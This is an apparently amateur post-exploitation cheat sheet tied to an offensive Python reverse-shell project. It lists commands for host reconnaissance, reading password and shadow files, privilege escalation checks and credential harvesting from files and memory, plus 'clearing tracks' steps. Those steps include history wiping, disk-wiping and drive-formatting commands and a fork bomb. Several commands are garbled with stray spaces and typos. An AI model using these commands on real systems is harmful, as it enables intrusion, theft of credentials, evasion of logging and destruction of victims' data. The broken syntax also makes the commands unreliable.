POST-EXPLOITATION CHEATS SHEET FOR THE PROJECT
https://github.com/BrianBarakaKasamba/Offensive-Python-HTTPReverseShell

System Commands

```
uname -a    --prints kernel version
ps aux        --list running processes
id               --print usernames, groups in system
uname -m  -- kernel process architecture
w              --who is logged on and up-time
who -a    --runtime/up time
mount
lastlog/lastlogin
lspci        --devices connected on machine
lsusb      --plugged in usb
lshw      --hardware info
cat  /proc/cpuinfo
cat  /proc/meminfo
```

Networking Commands

```
hostname -f
ip addr show
route -n          --Kernel IP routing table
cat / etc /network / interfaces
arp -a
```

User Account Information

```
cat / etc /  passwd
cat / etc / shadow
cat /etc / aliases
```

Possible PRIVILEGE ESCALATION ?

```
ls -alh /root/
sudo -l
cat / etc /sudoers
cat / etc / shadow
```

NB: For remote file execution use **wget** *command .*
For example; Upload scripts to Apache Server and expose Apache to internet.

BONUS
CLEARING TRACKS
OPSec is vital for any offensive operation.This includes clearing tracks.
Method 1

```
unset HISTFILE  –clear  commands run on target machine
```

Method 2 {NOT RECOMMENDED}

```
rm -rf                          --recursively try to delete all files in system.

mkfs.ext3 / dev / sda /  -- try to format drive , make hard for recovery

dd if=/dev/zero of =/dev/sda bs = 1m   --This overrides  disk dev/sda with zeros
```

Method 3 {FORK BOMB}
Fork bomb tries to run many programs at a go bombarding the system. This causes slow response and if user decides to hard restart ,may lead to data loss.

```
:(){:|:&};:
```

POSSIBLE CREDENTIAL HARVESTING?
There exists dozens of tools for this job but this is my methodology.

1.Find strings with ‘passwd’ or “password” or configuration files with possible authentication information.

```
locate config.
```

```
find :type f -exec grep -i -l “PASSWORD\PASSWD” {} /dev/null/ :
```

2.Find hashes stored in passwd or shadow
3.Old password stored in /etc/security/opasswd/(This is a module that ensures good passwords policy to prevent user from reusing old passwords /They are usually stored in hashes)

```
cat /etc/security/opasswd/
```

4.Recently modified files might have credentials in them.(In our case last 30 minutes)

```
find / -mmin -30 -xdev 2 > /dev/nul/
```

5.Check for credentials stored in memory.
Some services store credentials in memory in clear text.

```
strings /dev/mem -n10 | grep -ie “PASSWORD|PASSWD” -color=always
```

TODO:
Research on other methods including ; Dumping Memory to find credentials and Finding credentials stored in browser.